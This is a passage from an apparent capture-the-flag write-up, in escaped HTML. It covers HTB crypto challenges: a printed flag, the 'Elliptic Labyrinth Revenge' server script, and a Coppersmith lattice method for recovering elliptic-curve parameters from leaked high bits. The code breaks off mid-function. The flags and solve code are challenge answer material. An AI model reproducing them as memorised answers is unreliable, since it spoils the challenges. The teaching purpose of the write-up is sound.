&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="results-3">Results&lt;/h3>
&lt;p>Flag is: &lt;strong>HTB{d3fund_s4v3s_th3_d4y!}&lt;/strong>&lt;/p>
&lt;h2 id="elliptic-labyrinth-revenge">Elliptic Labyrinth Revenge&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1wKzblzA6_mYWHLM-CHcUo-6NjIzX9Llc/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you navigate through the labyrinth inside the tomb, you encounter GPS inaccuracies that make it difficult to determine the correct path to the exit. Can you overcome the technical issues and use your instincts to find your way out of the maze?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Crypto&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>This challenge is a modified version of &lt;code>Elliptic Labyrinth&lt;/code> to force CTF players solve it in intended way.&lt;/p>
&lt;p>The server script is shown below, which has a bit different from the previous version:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">ECC&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">bits&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">gen_random_point&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EllipticCurve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1. Get parameters of path&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2. Try to exit the labyrinth&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ec&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ECC&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">512&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">A&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">gen_random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;This is the point you calculated before:&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s1">&amp;#39;x&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]),&lt;/span> &lt;span class="s1">&amp;#39;y&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">choice&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;p&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;iv&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;enc&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Bye.&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-4">Problem Statement&lt;/h3>
&lt;p>The program generates random secret elliptic curve parameters and allows the user to:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Option 1: Obtain the modulus &lt;code>p&lt;/code> and a few MSB bits of ECC parameters.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Option 2: Provide the encrypted &lt;code>FLAG&lt;/code>.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Unlike the previous one, now the server doesn&amp;rsquo;t provide an option to generate random points, instead it gives players only one point at the beginning. The objective is to recover curve&amp;rsquo;s parameters given a single point of the curve, &lt;code>p&lt;/code> and the most significant bits of &lt;code>a&lt;/code> and &lt;code>b&lt;/code>.&lt;/p>
&lt;h3 id="initial-analysis-5">Initial Analysis&lt;/h3>
&lt;h4 id="aes-encryption">AES Encryption&lt;/h4>
&lt;p>Easily see that the AES scheme is normal and therefore we can exploit anything from it. The only way to retrieve the &lt;code>FLAG&lt;/code> is finding the key, which means finding the curve&amp;rsquo;s parameters.&lt;/p>
&lt;h4 id="leak-bits">Leak Bits&lt;/h4>
&lt;p>For some $170 \leq r \leq 340$, let&amp;rsquo;s define $a_{h}$ and $b_h$ as the $r$ MSB bits of $a$ and $b$, define $a_l$ and $b_l$ as the remaining bits of $a$ and $b$, respectively. By our definition, we have:&lt;/p>
&lt;p>$a = a_h \times 2^r + a_l$&lt;/p>
&lt;p>$b = b_h \times 2^r + b_l$&lt;/p>
&lt;p>Substitute $a$ and $b$ to the Weierstrass elliptic curve equation, we get:&lt;/p>
&lt;p>$y^2 \equiv x^3 + (2^ra_h + a_l)x + 2^rb_h + b_l \text{ (mod }p)$&lt;/p>
&lt;p>We define a polynomial $F(\alpha, \beta)$ in $GF(p)$ satifies $F(a_l, b_l) = 0$:&lt;/p>
&lt;p>$F(\alpha, \beta) = x_P\alpha + \beta + 2^r a_h \times x_P + 2^rb_h\times x_P - y^2_P$&lt;/p>
&lt;p>where $(x_P, y_P)$ is the known point given by the server at beginning. When having most significant bits of a number known, a typical method to apply is Coppersmith, particularly bivariate polynomial Coppersmith in this time.&lt;/p>
&lt;h3 id="implementation-and-results">Implementation and Results&lt;/h3>
&lt;p>By connecting to the server, I received these information:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xe3b0aa3465a71f45fdd6350587d041c481ae061401465aa9e089827ac0548728771f6baf095b5f44bb8410dc9709ea22df72bf635f04475fedeb24f13d488ceb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_h&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x3128114d5bdecf9388699fd05d1432d444f9e8bda4e620b13445d6f9705721d7dff1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b_h&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x2cf39f8fd105112fdaa7c7144f3e7e7da15e93fa59efc32b2c185bf5151153e7fd07&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x_P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x266dd3ba72bad801e16d03509ae1656b0f137c2382f40a420ff90e40f291073b46ae395f2858ccd719299d786c8191796f882daf2a55760d9c58fbcb6c5355da&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">y_P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x7c24c560a9bf720ff447de5671342787c762508e44a2e269ed0794e5ef33f9014f1dd53d8a3ebcb301d5fecdfde4d2413ee079b0ad8e716729c0123787d7fa4d&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;8ace74afe026aab8ff1288a9076141fb&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;a07c4ac6d8dc0abe11d955a79e37d8b21721704dfccf6f3938646c74b1c3374f6d0f8e71962e48c405c629533c804ea0&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The good implementation of multivariate Coppersmith I used is in &lt;a href="https://github.com/defund/coppersmith" target="_blank" rel="noopener">this repo&lt;/a> of Defund:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">itertools&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">small_roots&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bounds&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">degree&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">R&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">base_ring&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">R&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cardinality&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">/=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">coefficients&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">pop&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">change_ring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ZZ&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">G&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Sequence&lt;/span>&lt;span class="p">([],&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parent&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">base&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">N&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">i&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">shifts&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">itertools&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">product&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">repeat&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nvariables&lt;/span>&lt;span class="p">()):&lt;/span>
